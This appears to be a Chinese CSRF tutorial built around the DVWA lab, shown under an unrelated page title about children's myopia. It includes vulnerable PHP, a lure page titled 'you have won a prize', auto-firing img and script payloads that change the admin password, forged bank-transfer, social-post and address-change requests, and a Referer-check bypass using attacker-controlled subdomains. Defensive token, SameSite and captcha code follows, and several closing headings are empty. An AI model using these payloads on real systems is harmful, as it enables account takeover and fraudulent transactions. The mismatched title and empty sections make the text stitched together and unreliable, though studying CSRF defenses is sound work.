儿童近视可防可控!这个居家小方法,轻松上手
2026/1/15 4:40:52
CSRF工作流程:
1. 用户登录网站A,获得Cookie 2. 用户访问恶意网站B(未退出A) 3. 网站B构造请求发送到网站A 4. 浏览器自动携带Cookie 5. 网站A认为是合法请求并执行页面功能:修改密码 请求方式:GET URL: http://127.0.0.1/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change后端代码:
<?phpif(isset($_GET['password_new'])){$pass_new=$_GET['password_new'];$pass_conf=$_GET['password_conf'];if($pass_new==$pass_conf){// 修改密码(无任何验证!)$query="UPDATE users SET password = MD5('$pass_new') WHERE user = 'admin'";mysqli_query($conn,$query);}}?>漏洞点:
恶意页面代码:
<!DOCTYPEhtml><html><head><title>您已中奖!</title></head><body><h1>恭喜您!</h1><p><b><astyle="background-color:red;padding:10px;color:white;"href="http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change">点击领取奖品</a></b></p></body></html>攻击流程:
1. 管理员登录DVWA(127.0.0.1) 2. 在同一浏览器打开攻击者网页 3. 点击"点击领取奖品"链接 4. 密码被修改为"hacked" 5. 管理员下次登录失败自动化攻击:
<!-- 用户打开页面就自动触发 --><imgsrc="http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change"style="display:none"><!-- 或使用JavaScript --><script>document.location='http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change';</script>金融系统攻击:
<!-- 转账请求 --><imgsrc="http://bank.com/transfer?to=attacker&amount=10000">社交网络攻击:
<!-- 关注攻击者 --><imgsrc="http://social.com/follow?user=attacker"><!-- 发布广告内容 --><formaction="http://social.com/post"method="POST"><inputname="content"value="广告内容"></form><script>document.forms[0].submit();</script>电商平台攻击:
<!-- 修改收货地址 --><formaction="http://shop.com/address"method="POST"><inputname="address"value="攻击者地址"></form>防护代码:
if(stripos($_SERVER['HTTP_REFERER'],$_SERVER['SERVER_NAME'])!==false){// 检查Referer头}绕过方法:
<!-- 在攻击者域名中包含目标域名 -->攻击者域名: 127.0.0.1.attacker.com 或创建子域名: 127-0-0-1.attacker.com// 生成Tokensession_start();$_SESSION['csrf_token']=bin2hex(random_bytes(32));// HTML表单<input type="hidden"name="csrf_token"value="<?php echo$_SESSION['csrf_token']; ?>">// 验证Tokenif($_POST['csrf_token']!==$_SESSION['csrf_token']){die('CSRF Token验证失败');}setcookie('session',$value,['samesite'=>'Strict',// 或'Lax''httponly'=>true,'secure'=>true]);$referer=$_SERVER['HTTP_REFERER']??'';if(strpos($referer,'https://yourdomain.com')!==0){die('非法请求来源');}// 敏感操作要求输入当前密码if($_POST['current_password']!==$user_password){die('当前密码错误');}// 敏感操作添加验证码if(!verify_captcha($_POST['captcha'])){die('验证码错误');}行业特点:
风险警示:
入侵公司系统 → 被安全团队溯源 → 立即辞退 → 法律责任运维工程师必备:
开发工程师现状:
建议: